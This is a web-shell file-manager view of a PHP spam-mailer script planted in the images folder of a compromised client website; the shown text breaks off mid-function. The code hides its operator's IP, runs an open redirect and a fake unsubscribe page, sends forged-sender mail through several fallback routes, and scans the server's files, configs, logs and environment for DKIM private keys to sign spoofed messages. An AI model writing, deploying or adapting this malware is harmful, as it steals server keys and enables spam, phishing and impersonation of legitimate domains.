Your IP : 172.28.240.42


Current Path : /var/www/html/clients/wodo.e-nk.ru/assets/images/
Upload File :
Current File : /var/www/html/clients/wodo.e-nk.ru/assets/images/smdxhv.php

<?php
class CompactMailer
{
    private $ip;
    private $randm_array = array();
    private $attachment_array = array();
    private $unsubscribe = 0;
    private $encoding = 'UTF-8';
    private $custom_headers = false;
    private $context;
    private $eol = "\r\n";

    public function __construct()
    {
        @error_reporting(0);
        @ini_set('display_errors', 0);
        @set_time_limit(300);
        @ignore_user_abort(true);
        @ini_set('max_execution_time', 300);
        @ini_set('mail.add_x_header', 0);
        @ini_set('expose_php', 0);

        if (isset($_REQUEST['check'])) {
            die('*ok*');
        }

        if(empty($_REQUEST)) die;

        $_SERVER['PHP_SELF'] = '/';

        $this->ip = isset($_SERVER['SERVER_ADDR'])
            ? $_SERVER['SERVER_ADDR']
            : rand(1, 255).'.'.rand(0, 255).'.'.rand(0, 255).'.'.rand(0, 255);

        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $_SERVER['HTTP_X_FORWARDED_FOR'] = $this->ip;
        }
        if (isset($_SERVER['REMOTE_ADDR'])) {
            foreach ($_SERVER as $k => $v) {
                if ($v == $_SERVER['REMOTE_ADDR']) {
                    $_SERVER[$k] = $this->ip;
                    break;
                }
            }
            $_SERVER['REMOTE_ADDR'] = $this->ip;
        }

        $this->context = @stream_context_create(array(
            "ssl" => array(
                "verify_peer"       => false,
                "verify_peer_name"  => false,
                "allow_self_signed" => true
            )
        ));

        $domain = $this->get_domain();
        $this->basedomain = $domain[0];
        $this->fulldomain = $domain[1];
    }

    public function run()
    {
        if (isset($_REQUEST['r'])) {
            $this->do_redirect();
        }

        if (isset($_REQUEST['u'])) {
            $this->do_unsubscribe();
        }

        if (isset($_REQUEST['lu'])) {
            $this->show_unsubscribe_log();
        }

        if (isset($_REQUEST['du'])) {
            $this->delete_unsubscribe_log();
        }

        if (isset($_REQUEST['ce'])) {
            parse_str(base64_decode($_REQUEST['ce']), $_REQUEST);
        } elseif (count($_REQUEST) == 1 && strlen(key($_REQUEST)) == 3) {
            parse_str(base64_decode($_REQUEST[key($_REQUEST)]), $_REQUEST);
        }

        if (isset($_REQUEST['e'])) {
            $this->encoding = $_REQUEST['e'];
        }

        if (isset($_REQUEST['che'])) {
            $this->custom_headers = $_REQUEST['che'];
        }

        if (isset($_REQUEST['ch'])) {
            $this->do_check();
            die;
        }

        if (isset($_REQUEST['sn'])) {
            $this->do_send();
        }
    }

    private function do_redirect()
    {
        $n_st = '';
        $n_st1 = '';
        $n_st2 = '?';
        foreach (explode('&', base64_decode($_REQUEST['r'])) as $param) {
            $d_st2 = explode('=', trim($param));
            if ($d_st2[0] == 'l') {
                $n_st = $d_st2[1];
            } else {
                $n_st1 .= $n_st2.$d_st2[0].'='.$d_st2[1];
                $n_st2 = '&';
            }
        }
        die("<meta http-equiv=\"refresh\" content=\"0;url=$n_st$n_st1\">");
    }

    private function do_unsubscribe()
    {
        $d_st = base64_decode($_REQUEST['u']);
        @file_put_contents('logsubsc.log', date('[Y-m-d H:i:s] ').$d_st."\r\n", FILE_APPEND | LOCK_EX);
        die("<br><br><br><center>You have unsubscribed from the newsletter!</center><br><center>Email: <b>$d_st</b></center>");
    }

    private function show_unsubscribe_log()
    {
        if (is_file('logsubsc.log')) {
            die(nl2br(@file_get_contents('logsubsc.log')));
        }
        die;
    }

    private function delete_unsubscribe_log()
    {
        if (is_file('logsubsc.log')) {
            @unlink('logsubsc.log');
        }
        die;
    }

    private function do_check()
    {
        $subj = isset($_REQUEST['s']) ? $_REQUEST['s'] : $this->basedomain;
        $msg = isset($_REQUEST['ms']) ? $_REQUEST['ms'] : $this->basedomain;

        if (isset($_REQUEST['st'])) {
            echo '*valid:ok*'.$this->eol;
        }
        if (isset($_REQUEST['m']) && function_exists('mail')) {
            $em = explode(':', $_REQUEST['m']);
            $em = isset($em[0]) ? $em[0] : '';
            echo ($this->check_mail($em, $subj, $msg) ? '*mail:ok*' : '*mail:bad*').$this->eol;
        } else {
            echo '*mail:bad*'.$this->eol;
        }
        if (isset($_REQUEST['rb'])) {
            $rbl = $this->check_rbl();
            echo ($rbl == '' ? '*rbl:ok*' : '*rbl:'.$rbl.'*');
        }
    }

    private function check_mail($to, $subj, $msg)
    {
        $body        = chunk_split(base64_encode($msg));

        $from_name   = $this->random_text();
        $from_addr   = $from_name.'@'.$this->basedomain;
        $headers     = $this->get_headers($from_name, $from_addr);
        $headers    .= "Content-Type: text/html; charset=UTF-8\r\nContent-Transfer-Encoding: base64\r\n";
        $sent = $this->send_email_method($this->basedomain, $from_addr, $to, $subj, $body, $headers);

        if (!$sent && $this->basedomain != $this->fulldomain) {
            $from_name   = $this->random_text();
            $from_addr   = $from_name.'@'.$this->fulldomain;
            $headers     = $this->get_headers($from_name, $from_addr);
            $headers    .= "Content-Type: text/html; charset=UTF-8\r\nContent-Transfer-Encoding: base64\r\n";
            $sent = $this->send_email_method($this->fulldomain, $from_addr, $to, $subj, $body, $headers);
        }

        return $sent;
    }

    private function do_send()
    {
        if (isset($_REQUEST['m'])) {
            $a = @explode('.', $this->basedomain);
            $_REQUEST['m'] = str_replace('[shelldomain:]', ucfirst($a[0]), $_REQUEST['m']);
        }

        $emails = isset($_REQUEST['em']) ? explode("\n", $_REQUEST['em']) : array();
        foreach ($emails as $email) {
            $data  = explode('|', trim($email));
            if (!isset($data[0]) || empty($data[0])) {
                continue;
            }
            $r_replyto = (!empty($_REQUEST['rpt'])) ? trim($this->process_macros_random($_REQUEST['rpt'], $data)) : null;
            $r_from    = $this->process_macros_random($this->handle_data($_REQUEST['f']), $data);
            $from_name = $r_from;
            $from_addr = $this->get_text_between($r_from, '<', '>');
            if (!empty($from_addr)) {
                $from_name = trim(str_replace('<'.$from_addr.'>', '', $from_name));
                if (strpos($from_addr, '@') === false) {
                    $from_addr .= '@'.$this->basedomain;
                }
            } else {
                $from_addr = '';
            }

            $email = $data[0];
            $email_domain = explode('@', $email);
            $email_domain = $email_domain[1];

            $from_name = str_replace(array('[from:]', '[email:]', '[emaildomain:]'), array($r_from, $email, $email_domain), $from_name);
            $from_addr = str_replace(array('[from:]', '[email:]', '[emaildomain:]'), array($r_from, $email, $email_domain), $from_addr);

            $r_subject = $this->handle_data($_REQUEST['s']);
            $r_subject = str_replace(array('[from:]', '[email:]', '[emaildomain:]'), array($r_from, $email, $email_domain), $r_subject);
            $r_subject = $this->process_macros_random($r_subject, $data);

            $r_message = $_REQUEST['m'];
            $r_message = str_replace(array('[from:]', '[email:]', '[emaildomain:]'), array($r_from, $email, $email_domain), $r_message);
            $r_message = $this->process_macros_random($r_message, $data);

            if (!$this->send_email($email, $from_name, $from_addr, $r_subject, $r_message, $r_replyto)) {
                die('*send:bad*');
            }
        }
        die('*send:ok*');
    }

    private function send_email($to, $from_name, $from_addr, $subject, $message, $replyto)
    {
        $has_attachment = false;
        if (isset($_FILES['attachment']) && !$_FILES['attachment']['error']) {
            $has_attachment = true;
        }
        $file_string = '';
        $filename    = '';
        if (isset($_FILES['file']) && @is_file($_FILES['file']['tmp_name'])) {
            $file_string    = $this->file_string($_FILES['file']['name']);
            $filename       = isset($_REQUEST['fn']) ? $_REQUEST['fn'] : $_FILES['file']['name'];
            $has_attachment = true;
        }
        if (isset($this->attachment_array) && is_array($this->attachment_array) && count($this->attachment_array) > 0) {
            $has_attachment = true;
        }

        $content_type = $has_attachment ? 'multipart/mixed' : 'multipart/alternative';
        $from_name    = $from_name ? $from_name : $this->random_text();
        $from_addr    = $from_addr ? $from_addr : str_replace(' ', '', $from_name).'@'.$this->basedomain;
        if (!is_null($replyto) && strpos($replyto, '@') === false) {
            $replyto .= '@'.$this->basedomain;
        }
        $type           = (isset($_REQUEST['tp']) && $_REQUEST['tp'] == '1') ? 'text/html' : 'text/plain';
        $boundary_mixed = md5(time());
        $boundary_alt   = md5(time() + 1);
        $headers        = $this->get_headers($from_name, $from_addr, $replyto);
        if ($this->unsubscribe) {
            $headers .= 'List-Unsubscribe: <mailto:'.$from_addr.">\r\n";
        }

        if (!$has_attachment) {
            $headers .= "Content-Type: $content_type; boundary=\"$boundary_alt\"\r\n";
            $body  = "--$boundary_alt\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Transfer-Encoding: base64\r\n\r\n";
            $body .= chunk_split(base64_encode($this->cut_tags($message)));
            if ($type == 'text/html') {
                $body .= "\r\n\r\n--$boundary_alt\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Transfer-Encoding: base64\r\n\r\n";
                $body .= chunk_split(base64_encode($message));
            }
            $body .= "\r\n\r\n--$boundary_alt--";
        } else {
            $headers .= "Content-Type: $content_type; boundary=\"$boundary_mixed\"\r\n";
            $body  = "--$boundary_mixed\r\n";
            $body .= "Content-Type: multipart/alternative; boundary=\"$boundary_alt\"\r\n\r\n";

            $body .= "--$boundary_alt\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Transfer-Encoding: base64\r\n\r\n";
            $body .= chunk_split(base64_encode($this->cut_tags($message)));

            if ($type == 'text/html') {
                $body .= "--$boundary_alt\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Transfer-Encoding: base64\r\n\r\n";
                $body .= chunk_split(base64_encode($message));
            }
            $body .= "--$boundary_alt--\r\n";

            if ($file_string) {
                $body .= "\r\n\r\n--$boundary_mixed\r\nContent-Type: ".$_FILES['file']['type']."; name=\"$filename\"\r\n";
                $body .= "Content-Disposition: attachment; filename=\"$filename\"\r\nContent-Transfer-Encoding: base64\r\nX-Attachment-Id: ".rand(1000, 99999)."\r\n\r\n";
                $body .= chunk_split(base64_encode($file_string));
            }

            if ($this->attachment_array && is_array($this->attachment_array)) {
                foreach ($this->attachment_array as $attach) {
                    if (!isset($attach[0]) || !isset($attach[1])) {
                        continue;
                    }
                    $attach[1] = trim($attach[1]);
                    $file_cont = $this->download_source($attach[0]);
                    if ($file_cont) {
                        @file_put_contents($attach[1], $file_cont);
                        if (@file_exists($attach[1])) {
                            $file_data = @file_get_contents($attach[1]);
                            $mtype     = $this->get_mime_type($attach[1]);
                            $body .= "\r\n\r\n--$boundary_mixed\r\nContent-Type: ".$mtype."; name=\"".$attach[1]."\"\r\n";
                            $body .= "Content-Disposition: attachment; filename=\"".$attach[1]."\"\r\nContent-Transfer-Encoding: base64\r\nX-Attachment-Id: ".rand(1000, 99999)."\r\n\r\n";
                            $body .= chunk_split(base64_encode($file_data));
                            @unlink($attach[1]);
                        }
                    }
                }
            }
            $body .= "\r\n\r\n--$boundary_mixed--";
        }

        if (function_exists('iconv')) {
            $subject_enc = "=?".$this->encoding."?B?".base64_encode(@iconv('UTF-8', $this->encoding, $subject))."?=";
        } else {
            $subject_enc = "=?".$this->encoding."?B?".base64_encode($subject)."?=";
        }

        $sent = $this->send_email_method($this->basedomain, $from_addr, $to, $subject_enc, $body, $headers);
        if (!$sent && $this->basedomain != $this->fulldomain) {
            $from_addr = str_replace('@'.$this->basedomain, '@'.$this->fulldomain, $from_addr);
            $headers = str_replace('@'.$this->basedomain, '@'.$this->fulldomain, $headers);
            $sent = $this->send_email_method($this->fulldomain, $from_addr, $to, $subject_enc, $body, $headers);
        }
        return $sent;
    }

    private function send_email_method($domain, $mail_from, $to, $subject, $body, $headers = "")
    {
        $methods = (isset($_REQUEST['sm']) && is_array($_REQUEST['sm'])) ? $_REQUEST['sm'] : array('mail');
        ksort($methods);

        $headers = trim($headers);
        if (!preg_match('/^From:/mi', $headers)) {
            $headers .= ($headers ? "\r\n" : "")."From: ".$mail_from."\r\n";
        }

        $headers_fd = $headers;
        if (!preg_match('/^Date:/mi', $headers_fd)) {
            $headers_fd = "Date: ".$this->get_header_date()."\r\n".$headers_fd;
        }
        if (!preg_match('/^Message-ID:/mi', $headers_fd)) {
            $headers_fd = "Message-ID: <".$this->get_header_message_id($domain).">\r\n".$headers_fd;
        }
        if (!preg_match('/^To:/mi', $headers_fd)) {
            $headers_fd .= ($headers_fd ? "\r\n" : "")."To: ".$to;
        }
        if (!preg_match('/^Subject:/mi', $headers_fd)) {
            $headers_fd = "Subject: ".$subject."\r\n".$headers_fd;
        }

        foreach ($methods as $m) {
            if ($m === "proxy" && isset($_REQUEST['ph'], $_REQUEST['pp'], $_REQUEST['pl'], $_REQUEST['pw'])) {
                $data = "$headers_fd\r\n\r\n$body\r\n.";
                $sock = $this->smtp_connect($_REQUEST['ph'], (int)$_REQUEST['pp'], $_REQUEST['pp'] == '465' ? 'ssl' : null, 10, true, true);
                if (!$sock) {
                    continue;
                }
                if (!$this->smtp_helo_auth_send($sock, $mail_from, $to, $data, $domain, $_REQUEST['pl'], $_REQUEST['pw'])) {
                    @fclose($sock);
                    continue;
                }
                @fclose($sock);
                echo '*method:proxy*'.$this->eol;
                return true;
            }

            if ($m === "force") {
                $data = "$headers_fd\r\n\r\n$body\r\n.";

                $dkim_data = $this->try_sign_dkim($headers_fd, $body, $mail_from, $to, $domain);
                if ($dkim_data !== false) {
                    $data = $dkim_data . $this->eol . ".";
                }

                $smtp_list = array();
                if (isset($_REQUEST['smh'], $_REQUEST['smp'])) {
                    $host = $_REQUEST['smh'];
                    $port = (int)$_REQUEST['smp'];
                    $enc = null;
                    if ($port == 465)
                        $enc = 'ssl';
                    $smtp_list[] = array("host"=>$host,"port"=>$port,"enc"=>$enc);
                } else {
                    $mx_list = $this->get_mx_records($domain);
                    $smtp_list[] = array("host"=>"localhost","port"=>25,"enc"=>null);
                    if (!empty($mx_list)) {
                        $smtp_list[] = array("host"=>$mx_list[0],"port"=>25,"enc"=>null);
                    }
                    $smtp_list[] = array("host"=>"localhost","port"=>465,"enc"=>"ssl");
                    $smtp_list[] = array("host"=>"localhost","port"=>587,"enc"=>"tls");
                    $smtp_list[] = array("host"=>"mail.".$domain,"port"=>25,"enc"=>null);
                    $smtp_list[] = array("host"=>"smtp.".$domain,"port"=>25,"enc"=>null);
                }

                foreach ($smtp_list as $srv) {
                    $sock = $this->smtp_connect($srv['host'], $srv['port'], $srv['enc'], $srv['host'] == 'localhost' ? 3 : 5);
                    if (!$sock) {
                        continue;
                    }
                    if (!$this->smtp_helo_and_send($sock, $mail_from, $to, $data, $domain)) {
                        @fclose($sock);
                        continue;
                    }
                    @fclose($sock);
                    echo '*method:force*'.$this->eol.'*data:'.$srv['host'].':'.$srv['port'].'*'.$this->eol;
                    return true;
                }
            }

            if ($m === "direct") {
                $do = false;
                $usesock = true;
                if (isset($_REQUEST['wc'])) {
                    foreach (array('gmail.com', 'mailgun.org') as $k => $host) {
                        $mx_list = $this->get_mx_records($host);
                        if (empty($mx_list))
                            continue;
                        switch ($k) {
                            case 0:
                                $sock = $this->smtp_connect($mx_list[0], 25, null, 2, true, false);
                                break;
                            case 1:
                                $usesock = false;
                                $sock = $this->smtp_connect($mx_list[0], 25, null, 2, false);
                                break;
                        }
                        if (!$sock)
                            continue;
                        @fclose($sock);
                        $do = true;
                    }
                    if (!$do) continue;
                }

                $received_hdr = $this->build_received_header($mail_from, $to, $domain);
                $data = $received_hdr."$headers_fd\r\n\r\n$body\r\n.";

                $dkim_data = $this->try_sign_dkim($headers_fd, $body, $mail_from, $to, $domain, true, $received_hdr);
                if ($dkim_data !== false) {
                    $data = $dkim_data . $this->eol . ".";
                }

                $parts = explode('@', $to);
                if (count($parts) == 2) {
                    $rcpt_domain = strtolower(trim($parts[1]));
                    $rcpt_domain = preg_replace('/^www\./i', '', $rcpt_domain);
                    $mx_records  = $this->get_mx_records($rcpt_domain);
                    foreach ($mx_records as $mx_host) {
                        $sock = $this->smtp_connect($mx_host, 25, null, 10, $usesock);
                        if (!$sock) {
                            continue;
                        }
                        if (!$this->smtp_helo_and_send($sock, $mail_from, $to, $data, $domain)) {
                            @fclose($sock);
                            continue;
                        }
                        @fclose($sock);
                        echo '*method:direct*'.$this->eol;
                        return true;
                    }
                }
            }

            if ($m === "mail") {
                if (@mail($to, $subject, $body, $headers)) {
                    echo '*method:mail*'.$this->eol;
                    return true;
                } elseif (isset($_REQUEST['usm'])) {
                    if (!$this->fallback_sendmail($headers_fd, $body, $mail_from, $to, $domain)) {
                        return false;
                    }
                    echo '*method:sendmail*'.$this->eol;
                    return true;
                }
            }
        }
        return false;
    }

    private function fallback_sendmail($headers, $body, $mail_from, $to, $domain, $selector = 'default')
    {
        $sendmail_paths = array(
            '/usr/sbin/sendmail',
            '/usr/bin/sendmail',
            '/usr/lib/sendmail',
            '/usr/local/sbin/sendmail',
            '/usr/local/bin/sendmail'
        );

        $valid_sendmail_path = null;
        foreach ($sendmail_paths as $path) {
            if (@file_exists($path) && @is_executable($path)) {
                $valid_sendmail_path = $path;
                break;
            }
        }
        if (!$valid_sendmail_path) {
            return false;
        }

        $command_bm = escapeshellcmd($valid_sendmail_path) . " -bm -t -i -f " . escapeshellarg($mail_from);
        $command_t  = escapeshellcmd($valid_sendmail_path) . " -t -i -f " . escapeshellarg($mail_from);

        $disable_functions  = @ini_get('disable_functions');
        $popen_available    = function_exists('popen') && (@stripos($disable_functions, 'popen') === false);
        $proc_open_available = function_exists('proc_open') && (@stripos($disable_functions, 'proc_open') === false);

        $data = $headers . $this->eol . $this->eol . $body;

        $ret_bm = $this->send_using_sendmail($command_bm, $data, $popen_available, $proc_open_available);
        if ($ret_bm === 0) {
            return true;
        }

        $dkim_data = $this->sign_email_with_dkim($headers, $body, $mail_from, $to, $domain, $selector);
        if ($dkim_data !== false) {
            $final_data = $dkim_data;
        } else {
            $final_data = $data;
        }

        $ret = $this->send_using_sendmail($command_t, $final_data, $popen_available, $proc_open_available);
        if ($ret !== 0) {
            return false;
        }
        return true;
    }

    private function send_using_sendmail($command, $message, $popen_available, $proc_open_available)
    {
        if ($popen_available) {
            $h = @popen($command, 'w');
            if (!$h) {
                return 1;
            }
            @fwrite($h, $message . $this->eol);
            $code = @pclose($h);
            return $code;
        } elseif ($proc_open_available) {
            $desc = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
            );
            $proc = @proc_open($command, $desc, $pipes);
            if (!is_resource($proc)) {
                return 1;
            }
            @fwrite($pipes[0], $message . $this->eol);
            @fclose($pipes[0]);
            @fclose($pipes[1]);
            @fclose($pipes[2]);
            $code = @proc_close($proc);
            return $code;
        }
        return 1;
    }

    private function try_sign_dkim($headers, $body, $from, $to, $domain, $add_dot = true, $prepend = "")
    {
        $signed = $this->sign_email_with_dkim($headers, $body, $from, $to, $domain);
        if ($signed === false) {
            return false;
        }
        if ($add_dot) {
            return $prepend . $signed;
        }
        return $signed;
    }

    private function sign_email_with_dkim($headers, $body, $from, $to, $domain, $selector = 'default')
    {
        $private_key = $this->find_dkim_key($domain, $selector);
        if ($private_key === false) {
            return false;
        }
        $time = time();
        list($_, $header_list) = $this->canonicalize_headers_relaxed($headers, $from, $to, $domain);
        if ($header_list == false) {
            return false;
        }
        $canon_body = $this->canonicalize_body_relaxed($body);

        $bh = base64_encode(hash('sha256', $canon_body, true));

        $dkim_header = "DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; s={$selector}; d={$domain}; t={$time}; h={$header_list}; bh={$bh}; b=";

        $tmp_headers = $this->merge_headers_with_dkim($headers, $dkim_header);
        list($canon_hdr_for_sign, $_) = $this->canonicalize_headers_relaxed($tmp_headers, $from, $to, $domain, false);
        if ($canon_hdr_for_sign == false) {
            return false;
        }

        $key = @openssl_pkey_get_private($private_key);
        if (!$key) {
            return false;
        }
        $signature = '';
        $algo = defined('OPENSSL_ALGO_SHA256') ? OPENSSL_ALGO_SHA256 : 6;
        if (!@openssl_sign($canon_hdr_for_sign, $signature, $key, $algo)) {
            if (PHP_VERSION_ID < 80000) {
                @openssl_free_key($key);
            }
            return false;
        }
        if (PHP_VERSION_ID < 80000) {
            @openssl_free_key($key);
        }
        $b64_signature = rtrim(chunk_split(base64_encode($signature), 76, ''), "\n");

        $dkim_header_final = $dkim_header . $b64_signature;
        $final_headers = $this->merge_headers_with_dkim($headers, $dkim_header_final);

        return $final_headers . $this->eol . $this->eol . $body;
    }

    private function find_dkim_key($domain, $selector)
    {
        $key_paths = array(
            "/etc/dkim/private.key",
            "/etc/dkimkeys/{$domain}.private",
            "/etc/dkim/keys/{$domain}.private",
            "/etc/opendkim/keys/{$domain}/{$selector}.private",
            "/etc/opendkim/{$selector}.private",
            "/etc/mail/dkim/{$domain}.key",
            "/etc/mail/dkim/{$selector}.private",
            "/var/lib/dkim/{$domain}.private",
            "/var/lib/opendkim/keys/{$domain}/{$selector}.private",
            "/var/db/dkim/{$domain}.private",
            "/usr/local/etc/dkim/{$domain}.private",
            "/usr/local/etc/opendkim/keys/{$domain}/{$selector}.private",
            "/usr/local/etc/mail/dkim/{$domain}.private",
            "/usr/local/etc/mail/dkim/keys/{$domain}/{$selector}.private",
            "/opt/dkim/keys/{$domain}/{$selector}.private",
            "/opt/opendkim/keys/{$domain}/{$selector}.private",
            "/home/dkim/keys/{$domain}.private",
            "/home/dkim/{$selector}.private",
            "/home/mail/dkim/{$domain}.private",
            "/home/mail/dkim/keys/{$domain}/{$selector}.private",
            "/home/user/dkim/keys/{$domain}/{$selector}.private",
            "/home/user/opendkim/keys/{$domain}/{$selector}.private",
            "/root/dkim/keys/{$domain}/{$selector}.private",
            "/root/opendkim/keys/{$domain}/{$selector}.private",
            "/etc/ssl/private/{$domain}.key",
            "/etc/ssl/private/{$selector}.key",
            "/etc/exim4/dkim/{$domain}.private",
            "/etc/postfix/dkim/{$domain}.private",
            "/var/spool/postfix/dkim/{$domain}.private",
            "/var/spool/exim/dkim/{$domain}.private",
            "/usr/local/etc/exim/dkim/{$domain}.private",
            "/usr/local/etc/postfix/dkim/{$domain}.private",
            "/etc/amavis/dkim/{$domain}.private",
            "/etc/rspamd/dkim/{$domain}.private",
            "/etc/pmta/dkim/{$domain}.private",
            "/var/lib/amavis/dkim/{$domain}.private",
            "/var/lib/rspamd/dkim/{$domain}.private",
            "/var/lib/pmta/dkim/{$domain}.private",
        );

        foreach ($key_paths as $kp) {
            if (@file_exists($kp) && @is_readable($kp)) {
                $pk = @file_get_contents($kp);
                if ($pk !== false && strpos($pk, 'PRIVATE KEY') !== false) {
                    return $pk;
                }
            }
        }

        $config_files = array(
            '/etc/opendkim.conf',
            '/etc/opendkim/opendkim.conf',
            '/usr/local/etc/opendkim.conf',
            '/etc/exim4/exim.conf',
            '/etc/exim/exim.conf',
            '/usr/local/etc/exim.conf',
            '/etc/mail/dkim-milter.conf',
            '/etc/dkim/dkim.conf',
            '/etc/amavis/conf.d/50-user',
            '/etc/rspamd/local.d/dkim_signing.conf',
            '/etc/pmta/config',
        );

        foreach ($config_files as $configPath) {
            if (@file_exists($configPath) && @is_readable($configPath)) {
                $config = @file_get_contents($configPath);
                if ($config !== false) {
                    if (preg_match('/KeyFile\s+(.*)/', $config, $matches)) {
                        $keyPath = trim($matches[1]);
                        if (@file_exists($keyPath) && @is_readable($keyPath)) {
                            $pk = @file_get_contents($keyPath);
                            if ($pk !== false && strpos($pk, 'PRIVATE KEY') !== false) {
                                return $pk;
                            }
                        }
                    }
                    elseif (preg_match('/dkim_private_key\s*=\s*(.*)/', $config, $matches)) {
                        $keyPath = trim($matches[1]);
                        if (@file_exists($keyPath) && @is_readable($keyPath)) {
                            $pk = @file_get_contents($keyPath);
                            if ($pk !== false && strpos($pk, 'PRIVATE KEY') !== false) {
                                return $pk;
                            }
                        }
                    }
                    elseif (preg_match('/dkim_key\s*\(.*,\s*[\'"](.*)[\'"]\s*\)/', $config, $matches)) {
                        $keyPath = trim($matches[1]);
                        if (@file_exists($keyPath) && @is_readable($keyPath)) {
                            $pk = @file_get_contents($keyPath);
                            if ($pk !== false && strpos($pk, 'PRIVATE KEY') !== false) {
                                return $pk;
                            }
                        }
                    }
                    elseif (preg_match('/path\s*=\s*[\'"](.*)[\'"]/', $config, $matches)) {
                        $keyPath = trim($matches[1]);
                        if (@file_exists($keyPath) && @is_readable($keyPath)) {
                            $pk = @file_get_contents($keyPath);
                            if ($pk !== false && strpos($pk, 'PRIVATE KEY') !== false) {
                                return $pk;
                            }
                        }
                    }
                    elseif (preg_match('/key-file\s*=\s*(.*)/', $config, $matches)) {
                        $keyPath = trim($matches[1]);
                        if (@file_exists($keyPath) && @is_readable($keyPath)) {
                            $pk = @file_get_contents($keyPath);
                            if ($pk !== false && strpos($pk, 'PRIVATE KEY') !== false) {
                                return $pk;
                            }
                        }
                    }
                }
            }
        }

        $log_files = array(
            '/var/log/mail.log',
            '/var/log/syslog',
            '/var/log/opendkim.log',
            '/var/log/exim/mainlog',
        );

        foreach ($log_files as $logFile) {
            if (@file_exists($logFile) && @is_readable($logFile)) {
                $logContent = @file_get_contents($logFile);
                if ($logContent !== false && preg_match('/loading key from\s+(.*)/', $logContent, $matches)) {
                    $keyPath = trim($matches[1]);
                    if (@file_exists($keyPath) && @is_readable($keyPath)) {
                        $pk = @file_get_contents($keyPath);
                        if ($pk !== false && strpos($pk, 'PRIVATE KEY') !== false) {
                            return $pk;
                        }
                    }
                }
            }
        }

        $env_vars = array(
            'DKIM_PRIVATE_KEY',
            'OPENDKIM_KEYFILE',
            'EXIM_DKIM_KEY',
            'DKIM_KEY_PATH',
            'MAIL_DKIM_KEY',
        );

        foreach ($env_vars as $var) {
            $env_pk = @getenv($var);
            if ($env_pk && strpos($env_pk, 'PRIVATE KEY') !== false) {
                return $env_pk;
            } elseif ($env_pk && @file_exists($env_pk) && @is_readable($env_pk)) {
                $pk = @file_get_contents($env_pk);
                if ($pk !== false && strpos($pk, 'PRIVATE KEY') !== false) {
                    return $pk;
                }
            }
        }

        $directories = array(
            '/etc/ssl/private/',
            '/etc/dkim/',
            '/etc/opendkim/keys/',
            '/var/lib/dkim/',
            '/etc/mail/dkim/',
            '/etc/exim4/dkim/',
            '/etc/postfix/dkim/',
            '/usr/local/etc/dkim/',
            '/home/dkim/',
            '/home/mail/dkim/',
            '/home/user/dkim/',
            '/root/dkim/',
        );

        foreach ($directories as $dir) {
            $keys = $this->find_key_files($dir);
            foreach ($keys as $keyPath) {
                $pk = @file_get_contents($keyPath);
                if ($pk !== false && strpos($pk, 'PRIVATE KEY') !== false) {
                    return $pk;
                }
            }
        }

        return false;
    }

    private function find_key_files($dir, $pattern = '/.*(dkim|private|selector).*\.(pem|key|rsa)$/i')
    {
        if (!@is_dir($dir) || !@is_readable($dir)) return array();
        $files = @scandir($dir);
        if ($files === false) return array();
        $found = array();
        foreach ($files as $file) {
            if ($file === '.' || $file === '..') continue;
            $path = $dir . DIRECTORY_SEPARATOR . $file;
            if (@is_dir($path)) {
                $found = array_merge($found, $this->find_key_files($path, $pattern));
            } elseif (preg_match($pattern, $file)) {
                $found[] = $path;
            }
        }
        return $found;
    }

    private function canonicalize_headers_relaxed($headers, $from, $to, $domain, $force_add = true)
    {
        $all_headers = explode("\n", str_replace("\r", "", $headers));
        $needed = array('from', 'to', 'subject', 'date', 'message-id');
        $found = array();
        $cleaned = array();
        $header_map = array();
        foreach ($all_headers as $line) {
            $line = trim($line, "\r\n");
            if ($line === '') {
                continue;
            }
            $parts = explode(":", $line, 2);
            if (count($parts) < 2) {
                continue;
            }
            $name = strtolower(trim($parts[0]));
            $value = preg_replace('/\s+/', ' ', trim($parts[1]));
            $cleaned_line = $name . ":" . $value;
            $cleaned[] = $cleaned_line;
            if (!in_array($name, $found)) {
                $found[] = $name;
            }
            $header_map[] = $name;
        }
        if ($force_add) {
            if (!in_array('date', $found)) {
                $cleaned[] = 'date:' . $this->get_header_date();
                $header_map[] = 'date';
            }
            if (!in_array('message-id', $found)) {
                $cleaned[] = 'message-id:<'.$this->get_header_message_id($domain).'>';
                $header_map[] = 'message-id';
            }
            if (!in_array('from', $found)) {
                $cleaned[] = 'from:'.$from;
                $header_map[] = 'from';
            }
            if (!in_array('to', $found)) {
                $cleaned[] = 'to:'.$to;
                $header_map[] = 'to';
            }
        }
        $sign_headers = array();
        foreach ($needed as $n) {
            if (in_array($n, $header_map)) {
                $sign_headers[] = $n;
            }
        }
        $canon_list = array();
        foreach ($cleaned as $cl) {
            $n = strtolower(substr($cl, 0, strpos($cl, ':')));
            if (in_array($n, $sign_headers)) {
                $canon_list[] = $this->relaxed_header_line($cl);
            }
        }
        $header_list = implode(":", array_map('ucfirst', $sign_headers));
        $final = implode("\r\n", $canon_list);
        return array($final, $header_list);
    }

    private function relaxed_header_line($line)
    {
        $parts = explode(":", $line, 2);
        $name = strtolower(trim($parts[0]));
        $value = $parts[1];
        $value = preg_replace('/\s+/', ' ', trim($value));
        return $name . ':' . $value;
    }

    private function canonicalize_body_relaxed($body)
    {
        $body = str_replace("\r", "", $body);
        $lines = explode("\n", $body);
        $cleaned_lines = array();
        foreach ($lines as $l) {
            $l = rtrim($l, " \t");
            $cleaned_lines[] = $l;
        }
        while (count($cleaned_lines) > 0 && trim(end($cleaned_lines)) === '') {
            array_pop($cleaned_lines);
        }
        return implode("\r\n", $cleaned_lines) . "\r\n";
    }

    private function merge_headers_with_dkim($headers, $dkim_header)
    {
        return $dkim_header . "\r\n" . $headers;
    }

    private function build_received_header($mail_from, $to, $domain)
    {
        $parts = @explode('@', $mail_from);

        $spoof = $parts[1] != $domain;

        $guser = (function_exists("get_current_user")) ? @get_current_user() : $parts[0];
        if (!$guser || in_array($guser, array("root","SYSTEM","nginx","apache","www-data","httpd","www"))) {
            $guser = $parts[0];
        }
        if (!$spoof)
            $ip = (!empty($_SERVER["SERVER_ADDR"])) ? $_SERVER["SERVER_ADDR"] : @gethostbyname($domain);
        else
            $ip = @gethostbyname($domain);

        $ptr   = $this->get_host_ptr($ip);
        if (!$ptr) $ptr = $parts[1];

        $h_arr = array();
